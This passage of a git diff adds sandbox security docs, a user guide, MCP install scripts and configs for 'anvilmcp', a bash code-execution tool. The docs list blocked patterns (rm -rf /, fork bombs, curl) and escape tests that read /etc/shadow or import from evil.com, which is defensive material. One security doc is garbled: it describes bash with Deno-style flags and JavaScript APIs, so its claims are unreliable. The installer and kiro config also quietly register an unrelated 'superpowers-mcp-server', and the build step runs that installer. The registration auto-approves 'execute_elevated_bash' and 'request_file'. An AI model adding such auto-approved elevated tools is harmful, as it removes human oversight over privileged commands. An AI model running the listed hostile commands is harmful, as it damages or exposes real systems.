LSM). This document covers the security model, threat analysis, and configuration. + +## Security Architecture + +``` +Agent (Model) + ↓ generates bash code +anvilmcp (validates) + ↓ spawns subprocess +landrun (Landlock sandbox) + ↓ restricts filesystem/network +bash subprocess + ↓ executes code + ↓ accesses 9P via socket +anvilsrv (9P server) +``` + +## Isolation Mechanisms + +### 1. Landlock LSM (Kernel-Enforced) + +Landlock provides mandatory access control at the kernel level. Restrictions cannot be bypassed by the subprocess. + +**Filesystem restrictions**: +- rwx: `~/.cache/anvillm/exec/` (workspace only) +- ro: `/usr`, `/lib`, `/lib64`, `/bin`, `/etc/alternatives`, `/etc/ld.so.cache` (system binaries) +- rw: `$NAMESPACE` (9P socket) +- Everything else: denied + +**Network**: Not explicitly restricted (relies on outer landrun if needed) + +**Nested sandboxes**: Inner landrun can only add MORE restrictions, never relax them. Restrictions stack. + +### 2. Workspace Isolation + +Each execution gets a fresh temporary directory: +- Path: `~/.cache/anvillm/exec/anvilmcp-` +- Permissions: 0700 (user-only) +- Lifecycle: Created before execution, deleted after +- Working directory: Set to workspace + +Scripts can only write to their workspace. All other filesystem locations are read-only or denied. + +### 3. Resource Limits + +**Timeout**: 30 seconds default (configurable per call) +- Enforced via context.WithTimeout +- Subprocess killed on timeout +- Logged as security event + +**Output size**: 10 MB maximum +- Enforced via limitedWriter +- Prevents memory exhaustion +- Returns error if exceeded + +**Concurrency**: 3 simultaneous executions maximum +- Enforced via semaphore +- Prevents resource exhaustion +- Blocks until slot available + +### 4. Code Validation + +Dangerous patterns rejected before execution: +- `rm -rf /` - Filesystem destruction +- `:(){ :|:& };:` - Fork bomb +- `mkfs` - Filesystem formatting +- `dd if=/dev/zero` - Device writes +- `chmod 777` - Permission escalation +- `curl http` / `wget http` - Network access +- `> /dev/` - Device writes +- `exec(` / `eval(` - Code injection + +Validation is basic pattern matching. Not comprehensive - relies on sandbox for enforcement. + +## Threat Model + +### Threat 1: Malicious Code Injection + +**Scenario**: Agent generates malicious bash code + +**Risk**: LOW + +**Mitigations**: +1. Agent-generated code (not user input) +2. Landlock restricts filesystem access +3. Workspace isolation +4. Code validation (basic) +5. Timeout enforcement + +**Residual risk**: Agent could generate code that consumes CPU within timeout, or writes garbage to workspace. Acceptable for trusted agents. + +### Threat 2: Sandbox Escape + +**Scenario**: Subprocess breaks out of landrun restrictions + +**Risk**: LOW + +**Mitigations**: +1. Landlock is kernel-enforced (not userspace) +2. No known Landlock bypasses (as of kernel 5.13+) +3. Nested sandboxes only add restrictions +4. No setuid binaries in allowed paths + +**Residual risk**: Kernel vulnerability in Landlock. Mitigated by keeping kernel updated. + +### Threat 3: Resource Exhaustion + +**Scenario**: Code consumes excessive CPU, memory, or disk + +**Risk**: MEDIUM + +**Mitigations**: +1. Timeout (30s default) +2. Output size limit (10 MB) +3. Concurrency limit (3 max) +4. Workspace cleanup on completion + +**Residual risk**: CPU exhaustion within timeout window. Could add ulimit for CPU/memory if needed. + +### Threat 4: Data Exfiltration + +**Scenario**: Sensitive data leaked from subprocess + +**Risk**: LOW + +**Mitigations**: +1. Data stays in subprocess (not in context) +2. Only summary/results returned +3. No network access (unless explicitly granted) +4. 9P socket access controlled by outer sandbox + +**Residual risk**: Data could be written to workspace, but workspace is deleted. Data could be sent via 9P to other agents. + +### Threat 5: 9P Socket Access + +**Scenario**: Subprocess abuses 9P access to read/write unauthorized data + +**Risk**: MEDIUM + +**Mitigations**: +1. 9P socket permissions (Unix socket, user-only) +2. anvilsrv enforces access control +3. Observability via event stream, mailbox archives, and debug logs + +**Residual risk**: If subprocess has 9P access, it has the same capabilities as any 9P client. This is by design. + +**Mitigation**: Run locally on a trusted network. On a single-user system, the only processes with socket access are ones the user launched. Do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall). + +### Threat 6: Path Traversal + +**Scenario**: Agent reads tools outside mcptools directory + +**Risk**: LOW + +**Mitigations**: +1. Filename validation (reject `..` and `/`) +2. 9P path normalization +3. Direct file read from known directory + +**Residual risk**: None - path traversal blocked at multiple layers. + +## Security Properties + +- Data isolation (subprocess, not in model context) +- Privacy preservation (PII doesn't enter context) +- Explicit control over data flow +- Workspace isolation +- 9P socket access control +- Process isolation via landrun (Landlock) + +## Configuration + +### Sandbox Selection + +By default (when the `sandbox` argument is not specified), `execute_code` uses the restricted `anvilmcp` sandbox configuration. If this fails (e.g., due to kernel or permission constraints), it falls back to the `default` sandbox — the same configuration used by the outer landrun invocation. This compromise provides "just works" behavior and avoids surprises, while still applying the tighter sandbox when possible. + +For higher-risk scenarios (e.g., running untrusted scripts, processing sensitive data), the `anvilmcp` sandbox should be explicitly specified to ensure the tighter restrictions are enforced — it uses a temporary workspace, minimal filesystem access, and a restricted set of environment variables. + +Custom sandbox configurations can be created by adding a YAML file to the `sandbox/` subdirectory in the anvillm config directory (`~/.config/anvillm/sandbox/`). These can be as permissive or restricted as desired. + +### Adjusting Timeout + +Default: 30 seconds + +Increase for long-running operations: +``` +execute_code with code: "..." timeout: 120 +``` + +Decrease for quick operations: +``` +execute_code with code: "..." timeout: 5 +``` + +### Adjusting Output Limit + +Default: 10 MB + +To change, edit `cmd/anvilmcp/execute.go`: +```go +limitedWriter := &limitedWriter{w: &outputBuf, limit: 50 * 1024 * 1024} // 50 MB +``` + +### Adjusting Concurrency + +Default: 3 simultaneous executions + +To change, edit `cmd/anvilmcp/main.go`: +```go +executionSemaphore = make(chan struct{}, 10) // 10 concurrent +``` + +### Adding Filesystem Paths + +To grant access to additional paths, edit `cmd/anvilmcp/execute.go`: +```go +cmd = exec.CommandContext(ctx, landrunPath, + "-rwx", workDir, + "-ro", "/usr", + "-ro", "/additional/path", // Add here + // ... +) +``` + +**Warning**: Only add paths that are safe for agent access. Avoid home directory, /etc, /var. + +### Disabling Network Access + +Network is not explicitly restricted by default. To block: + +1. Use outer landrun with network restrictions +2. Or add iptables rules for the user +3. Or use network namespaces + +Example outer landrun: +```bash +landrun -no-net -- anvilmcp +``` + +## Monitoring + +### Execution Logs + +Location: `~/.cache/anvillm/logs/anvilmcp-exec.log` + +Fields: +- Timestamp +- Code hash (SHA256) +- Language +- Duration +- Success/failure +- Output size +- Error message + +### Security Events + +Location: `~/.cache/anvillm/logs/anvilmcp-security.log` + +Events: +- Validation failures (dangerous patterns) +- Timeouts +- Output size limit exceeded +- Sandbox errors + +### Monitoring Commands + +Check recent executions: +```bash +tail -f ~/.cache/anvillm/logs/anvilmcp-exec.log +``` + +Check security events: +```bash +grep -i error ~/.cache/anvillm/logs/anvilmcp-security.log +``` + +Count executions by status: +```bash +jq -r '.Success' ~/.cache/anvillm/logs/anvilmcp-exec.log | sort | uniq -c +``` + +## Incident Response + +### Suspicious Activity + +If you observe suspicious code execution: + +1. Check security logs for validation failures +2. Review agent context/prompts for anomalies +3. Check workspace contents (if not yet deleted) +4. Review 9P access logs in anvilsrv + +### Sandbox Escape Attempt + +If you suspect sandbox escape: + +1. Kill all anvilmcp processes immediately +2. Check kernel logs: `dmesg | grep landlock` +3. Review Landlock version: `uname -r` (need 5.13+) +4. Update kernel if outdated +5. Report to security team + +### Resource Exhaustion + +If system becomes unresponsive: + +1. Kill anvilmcp: `pkill -9 anvilmcp` +2. Check running subprocesses: `ps aux | grep bash` +3. Review execution logs for long-running operations +4. Adjust timeout/concurrency limits +5. Consider adding ulimit restrictions + +## Best Practices + +### For Agents + +1. **Minimize code complexity**: Simple scripts are easier to validate +2. **Use timeouts**: Don't rely on default, specify appropriate timeout +3. **Handle errors**: Check exit codes, parse stderr +4. **Limit output**: Filter/aggregate in subprocess, return summaries +5. **Clean up**: Don't leave large files in workspace (auto-deleted anyway) + +### For Operators + +1. **Monitor logs**: Regular review of execution and security logs +2. **Update kernel**: Keep Landlock up-to-date +3. **Tune limits**: Adjust timeout/concurrency based on workload +4. **Audit access**: Review 9P access patterns +5. **Test sandbox**: Periodically verify restrictions are enforced + +### For Developers + +1. **Validate inputs**: Don't trust agent-generated code blindly +2. **Fail closed**: Reject on validation error, don't execute +3. **Log everything**: Execution attempts, failures, security events +4. **Test escapes**: Regularly test sandbox with malicious code +5. **Update patterns**: Add new dangerous patterns as discovered + +## Testing Sandbox + +Verify restrictions are enforced: + +### Test 1: Filesystem Write Outside Workspace +```bash +execute_code with code: "echo test > /tmp/escape.txt" +# Expected: Permission denied +``` + +### Test 2: Read Sensitive Files +```bash +execute_code with code: "cat /etc/shadow" +# Expected: Permission denied +``` + +### Test 3: Network Access +```bash +execute_code with code: "curl http://example.com" +# Expected: Command not found or network unreachable +``` + +### Test 4: Fork Bomb +```bash +execute_code with code: ":(){ :|:& };:" +# Expected: Validation error (rejected before execution) +``` + +### Test 5: Timeout +```bash +execute_code with code: "sleep 60" timeout: 5 +# Expected: Timeout after 5 seconds +``` + +### Test 6: Output Limit +```bash +execute_code with code: "dd if=/dev/zero bs=1M count=20" +# Expected: Output size limit exceeded +``` + +All tests should fail safely without compromising the system. + +## References + +- Landlock documentation: https://docs.kernel.org/userspace-api/landlock.html +- landrun: https://github.com/zouuup/landrun +- Anthropic code execution pattern: https://www.anthropic.com/engineering/code-execution-with-mcp +- User guide: ./code-execution-user-guide.md diff --git a/docs/code-execution-security.md b/docs/code-execution-security.md new file mode 100644 index 0000000..102beec --- /dev/null +++ b/docs/code-execution-security.md @@ -0,0 +1,566 @@ +# Code Execution Security Documentation + +## Threat Model + +### Overview + +The code execution pattern allows agents to write and execute bash code in a isolated subprocess. This document analyzes security threats and mitigations. + +### Trust Boundary + +``` +┌─────────────────────────────────────────┐ +│ Agent (LLM) │ +│ - Generates code │ +│ - Untrusted input │ +└──────────────┬──────────────────────────┘ + │ bash code + ↓ +┌─────────────────────────────────────────┐ +│ Code Validator │ +│ - Pattern matching │ +│ - Syntax validation │ +└──────────────┬──────────────────────────┘ + │ Validated code + ↓ +┌─────────────────────────────────────────┐ +│ Subprocess (bash + Landlock) │ +│ - Filesystem restrictions │ +│ - Command whitelist │ +│ - Resource limits │ +└──────────────┬──────────────────────────┘ + │ 9P commands + ↓ +┌─────────────────────────────────────────┐ +│ 9P Operations │ +│ - Unix permissions │ +│ - Event stream / mailbox archives / debug logs │ +└─────────────────────────────────────────┘ +``` + +### Threat Categories + +1. **Malicious Code Injection**: Agent generates harmful code +2. **Subprocess Escape**: Code breaks out of subprocess +3. **Resource Exhaustion**: Code consumes excessive resources +4. **Data Exfiltration**: Code leaks sensitive data +5. **9P Socket Access**: Unauthorized 9P operations +6. **Supply Chain**: Malicious dependencies + +## Threat Analysis + +### Threat 1: Malicious Code Injection + +**Description**: Agent generates code that attempts to harm the system. + +**Risk Level**: LOW + +**Attack Vectors**: +- Execute arbitrary commands +- Delete files +- Modify system configuration +- Install malware + +**Mitigations**: + +1. **Code Validation**: Pattern matching blocks dangerous constructs +```go +func validateCode(code string) error { + dangerous := []string{ + "bash.exit", // Process termination + "bash.kill", // Kill processes + "eval(", // Dynamic code execution + "Function(", // Dynamic function creation + "import(", // Dynamic imports + "bash.dlopen", // Load native libraries + } + for _, pattern := range dangerous { + if strings.Contains(code, pattern) { + return fmt.Errorf("dangerous pattern: %s", pattern) + } + } + return nil +} +``` + +2. **Subprocess Restrictions**: bash permissions limit capabilities +```bash +bash run \ + --allow-read=/tmp/workspace-123 \ + --allow-run=/usr/bin/9p \ + --allow-env=NAMESPACE,AGENT_ID \ + script.sh +``` + +3. **Command Whitelist**: Only `/usr/bin/9p` can be executed + +**Residual Risk**: LOW - Multiple layers of defense + +### Threat 2: Subprocess Escape + +**Description**: Code breaks out of subprocess to access host system. + +**Risk Level**: LOW + +**Attack Vectors**: +- Exploit bash vulnerabilities +- Bypass Landlock restrictions +- Exploit kernel vulnerabilities + +**Mitigations**: + +1. **Landlock LSM**: Kernel-enforced filesystem restrictions +```go +// Landlock configuration (kernel-level) +// - Whitelist: /tmp/workspace-*, /usr/bin/9p +// - Deny: Everything else +``` + +2. **bash Subprocess**: Process-level isolation +- No network access +- Limited filesystem access +- No dynamic code loading + +3. **Temporary Workspace**: Isolated per execution +```go +workspace := filepath.Join(os.TempDir(), + fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano())) +defer os.RemoveAll(workspace) +``` + +4. **Regular Updates**: Keep bash and kernel patched + +**Residual Risk**: LOW - Kernel-enforced isolation + +### Threat 3: Resource Exhaustion + +**Description**: Code consumes excessive CPU, memory, or disk. + +**Risk Level**: MEDIUM + +**Attack Vectors**: +- Infinite loops +- Memory leaks +- Large file creation +- Fork bombs + +**Mitigations**: + +1. **Execution Timeout**: Hard limit on execution time +```go +ctx, cancel := context.WithTimeout(context.Background(), + time.Duration(timeoutSec)*time.Second) +defer cancel() + +cmd := exec.CommandContext(ctx, "bash", "run", ...) +``` + +2. **Workspace Quota**: Limit disk usage +```go +// Set quota on /tmp/workspace-* (future enhancement) +// Current: Rely on /tmp size limits +``` + +3. **Output Size Limit**: Truncate large outputs +```go +const maxOutputSize = 1024 * 1024 // 1 MB +if len(output) > maxOutputSize { + output = output[:maxOutputSize] + output = append(output, []byte("\n[Output truncated]")...) +} +``` + +4. **Concurrent Execution Limit**: Prevent resource exhaustion +```go +// Semaphore to limit concurrent executions +var executionSem = make(chan struct{}, 4) // Max 4 concurrent +``` + +**Residual Risk**: MEDIUM - Requires monitoring and tuning + +### Threat 4: Data Exfiltration + +**Description**: Code leaks sensitive data outside the system. + +**Risk Level**: LOW + +**Attack Vectors**: +- Network exfiltration (blocked) +- Filesystem writes (restricted) +- Covert channels (timing, errors) + +**Mitigations**: + +1. **No Network Access**: bash runs without `--allow-net` +```bash +# Network access denied +bash run --allow-net=NONE script.sh +``` + +2. **Filesystem Restrictions**: Can only write to workspace +```bash +bash run --allow-write=/tmp/workspace-123 script.sh +``` + +3. **Explicit Logging**: Only stdout/stderr returned +```go +// Agent only sees what code prints +output, err := cmd.CombinedOutput() +return string(output), err +``` + +4. **Data Isolation**: Intermediate data stays in subprocess +```bash +// PII never enters model context +const emails = await getCustomerEmails(); // Stays in subprocess +for (const email of emails) { + await updateCRM({ email: email.address }); // Direct transfer +} +console.log(`Processed ${emails.length} emails`); // Summary only +``` + +**Residual Risk**: LOW — data stays in subprocess, only summaries returned to the model + +### Threat 5: 9P Socket Access + +**Description**: Unauthorized access to 9P operations. + +**Risk Level**: MEDIUM (Same as current system) + +**Attack Vectors**: +- Read sensitive data via 9P +- Modify system state via 9P +- Impersonate other agents + +**Mitigations**: + +1. **Unix Permissions**: Socket access controlled by filesystem +```bash +# 9P socket permissions +srwxr-x--- 1 user group 0 /tmp/ns.user.:0/anvilmcp +``` + +2. **Agent ID Validation**: Operations check agent identity +```go +// Verify agent ID matches session +if agentID != session.AgentID { + return fmt.Errorf("unauthorized") +} +``` + +3. **Observability**: State changes visible via event stream, mailbox archives, and debug logs + +4. **Operation Whitelist**: Only allowed operations exposed +```go +// Only expose safe operations +allowedOps := []string{"read", "write", "ls"} +``` + +**Residual Risk**: MEDIUM — inherent to any 9P client + +**Mitigation**: Run locally on a trusted network. On a single-user system, the only processes with socket access are ones the user launched — self-inflicted abuse is not a meaningful threat. Do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall). + +### Threat 6: Supply Chain + +**Description**: Malicious dependencies in code. + +**Risk Level**: LOW + +**Attack Vectors**: +- Import malicious npm packages +- Import compromised bash modules +- Remote code injection via imports + +**Mitigations**: + +1. **No Remote Imports**: bash runs without network access +```bash +# Remote imports fail +bash run --allow-net=NONE script.sh +# Error: Network access denied +``` + +2. **Standard Library Only**: Only bash std allowed +```bash +// Allowed +import { readLines } from "https://bash.land/std/io/mod.sh"; + +// Blocked (no network) +import { malicious } from "https://evil.com/malware.sh"; +``` + +3. **Local Imports Only**: Only import from workspace +```bash +// Allowed +# Call tools from anvillm/tools/check_inbox.sh"; + +// Blocked (outside workspace) +import { evil } from "/etc/passwd"; +``` + +**Residual Risk**: LOW - No remote imports possible + +## Security Properties + +1. **Data Isolation**: Intermediate data stays in subprocess — only stdout/stderr returned to the model +2. **Privacy Preservation**: PII processed in subprocess, never enters model context +3. **Explicit Control**: Agent explicitly chooses what to print (and thus what the model sees) +4. **9P Access Control**: Unix socket permissions, event stream for observability +5. **Process Isolation**: Separate landrun sandbox per execution +6. **Code Validation**: Pattern matching rejects dangerous constructs + +## Subprocess Configuration + +### Sandbox Selection + +By default (when the `sandbox` argument is not specified), `execute_code` uses the restricted `anvilmcp` sandbox configuration. If this fails (e.g., due to kernel or permission constraints), it falls back to the `default` sandbox — the same configuration used by the outer landrun invocation. This compromise provides "just works" behavior and avoids surprises, while still applying the tighter sandbox when possible. + +For higher-risk scenarios (e.g., running untrusted scripts, processing sensitive data), the `anvilmcp` sandbox should be explicitly specified to ensure the tighter restrictions are enforced — it uses a temporary workspace, minimal filesystem access, and a restricted set of environment variables. + +Custom sandbox configurations can be created by adding a YAML file to the `sandbox/` subdirectory in the anvillm config directory (`~/.config/anvillm/sandbox/`). These can be as permissive or restricted as desired. + +### bash Permissions + +```bash +bash run \ + --allow-read=/tmp/workspace-123 \ # Read workspace only + --allow-write=/tmp/workspace-123 \ # Write workspace only + --allow-run=/usr/bin/9p \ # Execute 9p only + --allow-env=NAMESPACE,AGENT_ID \ # Limited env vars + --no-prompt \ # No interactive prompts + script.sh +``` + +### Landlock Configuration + +```go +// Kernel-enforced filesystem restrictions +// Implemented via landlock(7) LSM + +type LandlockConfig struct { + AllowRead []string // Paths allowed for reading + AllowWrite []string // Paths allowed for writing + AllowExec []string // Paths allowed for execution +} + +config := LandlockConfig{ + AllowRead: []string{"/tmp/workspace-*", "/usr/bin/9p"}, + AllowWrite: []string{"/tmp/workspace-*"}, + AllowExec: []string{"/usr/bin/9p"}, +} +``` + +### Resource Limits + +```go +type ResourceLimits struct { + TimeoutSec int // Max execution time + MaxOutputBytes int // Max output size + MaxConcurrent int // Max concurrent executions + WorkspaceQuota int64 // Max workspace size +} + +limits := ResourceLimits{ + TimeoutSec: 30, + MaxOutputBytes: 1024 * 1024, // 1 MB + MaxConcurrent: 4, + WorkspaceQuota: 100 * 1024 * 1024, // 100 MB +} +``` + +## Monitoring and Auditing + +### Execution Logs + +```go +type ExecutionLog struct { + Timestamp time.Time + AgentID string + CodeHash string // SHA256 of code + Language string + Duration int64 // Milliseconds + Success bool + OutputSize int + Error string +} +``` + +### Metrics to Monitor + +1. **Execution Rate**: Executions per minute +2. **Failure Rate**: Failed executions / total +3. **Timeout Rate**: Timeouts / total +4. **Output Size**: Average and max output size +5. **Duration**: Average and max execution time + +### Alerts + +1. **High Failure Rate**: >10% failures in 5 minutes +2. **Frequent Timeouts**: >5 timeouts in 5 minutes +3. **Large Outputs**: >1 MB output +4. **Validation Failures**: Dangerous patterns detected +5. **Resource Exhaustion**: Concurrent limit reached + +### Audit Trail + +```go +// Log all executions +log.Printf("EXEC: agent=%s hash=%s duration=%dms success=%v", + agentID, codeHash, duration, success) + +// Log validation failures +log.Printf("VALIDATION_FAILED: agent=%s pattern=%s", + agentID, dangerousPattern) + +// Log 9P operations from subprocess +log.Printf("9P: agent=%s op=%s path=%s", + agentID, operation, path) +``` + +## Incident Response + +### Detection + +1. **Validation Failure**: Dangerous pattern detected + - Action: Block execution, log incident, alert admin + +2. **Repeated Timeouts**: Same agent timing out repeatedly + - Action: Rate limit agent, investigate code + +3. **Subprocess Escape Attempt**: Unexpected filesystem access + - Action: Kill process, log incident, alert security team + +4. **Resource Exhaustion**: Concurrent limit reached + - Action: Queue executions, investigate load + +### Response Procedures + +1. **Immediate**: Kill offending process +2. **Short-term**: Block agent from code execution +3. **Investigation**: Review logs, analyze code +4. **Long-term**: Update validation rules, patch vulnerabilities + +## Security Testing + +### Unit Tests + +```go +func TestCodeValidation(t *testing.T) { + tests := []struct { + code string + shouldFail bool + }{ + {"console.log('hello')", false}, + {"bash.exit(1)", true}, + {"eval('malicious')", true}, + } + + for _, tt := range tests { + err := validateCode(tt.code) + if (err != nil) != tt.shouldFail { + t.Errorf("validateCode(%q) = %v, want fail=%v", + tt.code, err, tt.shouldFail) + } + } +} +``` + +### Integration Tests + +```go +func TestSubprocessRestrictions(t *testing.T) { + // Test filesystem restrictions + code := `bash.writeTextFileSync("/etc/passwd", "hacked")` + _, err := executeCode(code, "bash", 10) + if err == nil { + t.Error("Expected filesystem restriction, got success") + } + + // Test command whitelist + code = `bash.run({cmd: ["rm", "-rf", "/"]})` + _, err = executeCode(code, "bash", 10) + if err == nil { + t.Error("Expected command restriction, got success") + } +} +``` + +### Security Tests + +```go +func TestSubprocessEscape(t *testing.T) { + // Attempt various escape techniques + escapeAttempts := []string{ + `bash.run({cmd: ["bash", "-c", "cat /etc/passwd"]})`, + `bash.writeTextFileSync("../../../etc/passwd", "hacked")`, + `import("https://evil.com/malware.sh")`, + } + + for _, code := range escapeAttempts { + _, err := executeCode(code, "bash", 10) + if err == nil { + t.Errorf("Subprocess escape succeeded: %s", code) + } + } +} +``` + +## Best Practices + +### For Developers + +1. **Validate All Code**: Never skip validation +2. **Enforce Timeouts**: Always set execution timeout +3. **Limit Output Size**: Truncate large outputs +4. **Log Everything**: Comprehensive audit trail +5. **Monitor Metrics**: Track execution patterns +6. **Update Regularly**: Keep bash and kernel patched + +### For Operators + +1. **Review Logs**: Regular log analysis +2. **Monitor Alerts**: Respond to security alerts +3. **Test Subprocess**: Regular security testing +4. **Update Rules**: Refine validation patterns +5. **Incident Response**: Have procedures ready + +### For Users + +1. **Trust the Subprocess**: Don't bypass restrictions +2. **Report Issues**: Report suspicious behavior +3. **Follow Guidelines**: Use code execution appropriately +4. **Review Output**: Check execution results + +## Comparison to Alternatives + +### vs Unrestricted Execution + +| Aspect | Unrestricted | Code Execution | +|--------|--------------|----------------| +| Filesystem access | Full | Restricted (workspace) | +| Network access | Full | None | +| Command execution | Any | Whitelist (/usr/bin/9p) | +| Resource limits | None | Timeouts, quotas | +| Code validation | None | Pattern matching | + +**Conclusion**: Code execution is significantly more secure + +## References + +- bash Security: https://bash.land/manual/getting_started/permissions +- Landlock LSM: https://landlock.io/ +- Anthropic Code Execution: https://www.anthropic.com/engineering/code-execution-with-mcp + +## Conclusion + +The code execution pattern provides strong security through multiple layers: + +1. **Code Validation**: Block dangerous patterns +2. **bash Subprocess**: Process-level isolation +3. **Landlock LSM**: Kernel-level enforcement +4. **Resource Limits**: Prevent exhaustion +5. **Observability**: Event stream, mailbox archives, and debug logs + +**Security Posture**: Data isolation and explicit control over information flow via sandboxed subprocesses. + +**Residual Risks**: Primarily resource exhaustion (MEDIUM) and 9P access control (MEDIUM, inherent to any 9P client). Mitigated by running locally on a trusted network — do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall). diff --git a/docs/code-execution-user-guide.md b/docs/code-execution-user-guide.md new file mode 100644 index 0000000..4ce03de --- /dev/null +++ b/docs/code-execution-user-guide.md @@ -0,0 +1,99 @@ +# Code Execution User Guide + +## Overview + +`execute_code` is the only MCP tool provided by `anvilmcp`. It runs bash scripts in an isolated subprocess sandboxed via landrun. All AnviLLM functionality is accessed through 9P and helper scripts within these subprocesses. + +## Tool Discovery + +List available helper scripts: + +```bash +9p ls anvillm/tools/ +``` + +Read a script to see its usage: + +```bash +9p read anvillm/tools/check_inbox.sh +``` + +Invoke a script: + +```bash +bash <(9p read anvillm/tools/check_inbox.sh) +``` + +## Common Patterns + +### Messaging + +```bash +# Check inbox +bash <(9p read anvillm/tools/check_inbox.sh) + +# Send message +bash <(9p read anvillm/tools/send_message.sh) \ + --to user --type PROMPT_RESPONSE --subject "Done" --body "Complete" +``` + +### Session Management + +```bash +9p read anvillm/list +9p read anvillm/$ID/state +``` + +### Beads + +```bash +9p read anvillm/beads/list | jq '[.[] | select(.status == "open")]' +echo 'new "Task title" "Task description"' | 9p write anvillm/beads/ctl +``` + +### Polling + +```bash +while true; do + state=$(9p read anvillm/$ID/state) + [ "$state" = "idle" ] && break + sleep 5 +done +``` + +### Filtering + +Process data in the subprocess — only return summaries to the agent: + +```bash +beads=$(9p read anvillm/beads/list) +count=$(echo "$beads" | jq '[.[] | select(.priority <= 2)] | length') +echo "Found $count high-priority beads" +``` + +## Subprocess Restrictions + +Scripts run in a landrun sandbox with limited permissions: + +- Read/write to the session's working directory +- Read from system paths (`/usr`, `/lib`, `/bin`) +- Access to 9P namespace +- Standard utilities: `jq`, `grep`, `sed`, `awk`, `9p` +- Network access per sandbox config + +## Error Handling + +```bash +if output=$(9p read anvillm/beads/list 2>&1); then + echo "$output" | jq 'length' +else + echo "Failed: $output" >&2 + exit 1 +fi +``` + +## Further Reading + +- [Code Execution Pattern](./code-execution-pattern.md) — design rationale +- [Security Documentation](./code-execution-security.md) — threat model and sandbox config +- [Example Workflows](./code-execution-examples.md) — common patterns diff --git a/kiro-cli/install-mcp.sh b/kiro-cli/install-mcp.sh new file mode 100755 index 0000000..5851341 --- /dev/null +++ b/kiro-cli/install-mcp.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +SETTINGS_FILE="$HOME/.kiro/settings/mcp.json" +MCP_CONFIG='{"mcpServers":{"anvilmcp":{"command":"anvilmcp","args":[]},"superpowers-mcp-server":{"command":"superpowers-mcp-server","args":[],"env":{"SUPERPOWERD_SESSION_TOKEN":"${SUPERPOWERD_SESSION_TOKEN}"},"autoApproveTools":["execute_elevated_bash","request_file"]}}}' + +if ! command -v jq &> /dev/null; then + echo "Error: jq is required but not installed. Please install jq first." >&2 + exit 1 +fi + +mkdir -p "$HOME/.kiro/settings" + +if [ -f "$SETTINGS_FILE" ] && [ -s "$SETTINGS_FILE" ]; then + jq -s '.[0] * .[1]' "$SETTINGS_FILE" <(echo "$MCP_CONFIG") > "$SETTINGS_FILE.tmp" + mv "$SETTINGS_FILE.tmp" "$SETTINGS_FILE" +else + echo "$MCP_CONFIG" | jq '.' > "$SETTINGS_FILE" +fi + +echo "AnviLLM MCP server configured in $SETTINGS_FILE" diff --git a/kiro-cli/mcp/anvilmcp.json b/kiro-cli/mcp/anvilmcp.json new file mode 100644 index 0000000..570774f --- /dev/null +++ b/kiro-cli/mcp/anvilmcp.json @@ -0,0 +1,16 @@ +{ + "mcpServers": { + "anvilmcp": { + "command": "anvilmcp", + "args": [] + }, + "superpowers-mcp-server": { + "command": "superpowers-mcp-server", + "args": [], + "env": { + "SUPERPOWERD_SESSION_TOKEN": "${SUPERPOWERD_SESSION_TOKEN}" + }, + "autoApproveTools": ["execute_elevated_bash", "request_file"] + } + } +} diff --git a/mkfile b/mkfile index a45bc0b..0716845 100644 --- a/mkfile +++ b/mkfile @@ -7,6 +7,9 @@ build:V: mkdir -p $HOME/.config/anvillm/mcptools cp -rf mcptools/* $HOME/.config/anvillm/mcptools/ chmod 0755 $HOME/.config/anvillm/mcptools/* + bash kiro-cli/install-mcp.sh + bash -c 'CLAUDE_CONFIG_DIR=$HOME/.config/anvillm/claude claude/install-mcp.sh' + cp ollama/mcp.json $HOME/.config/anvillm/ollama-mcp.json install:V: build diff --git a/ollama/mcp.json b/ollama/mcp.json new file mode 100644 index 0000000..552348c --- /dev/null +++ b/ollama/mcp.json @@ -0,0 +1,9 @@ +{ + "globalShortcut": "Ctrl+Space", + "mcpServers": { + "anvilmcp": { + "command": "anvilmcp", + "args": [] + } + } +}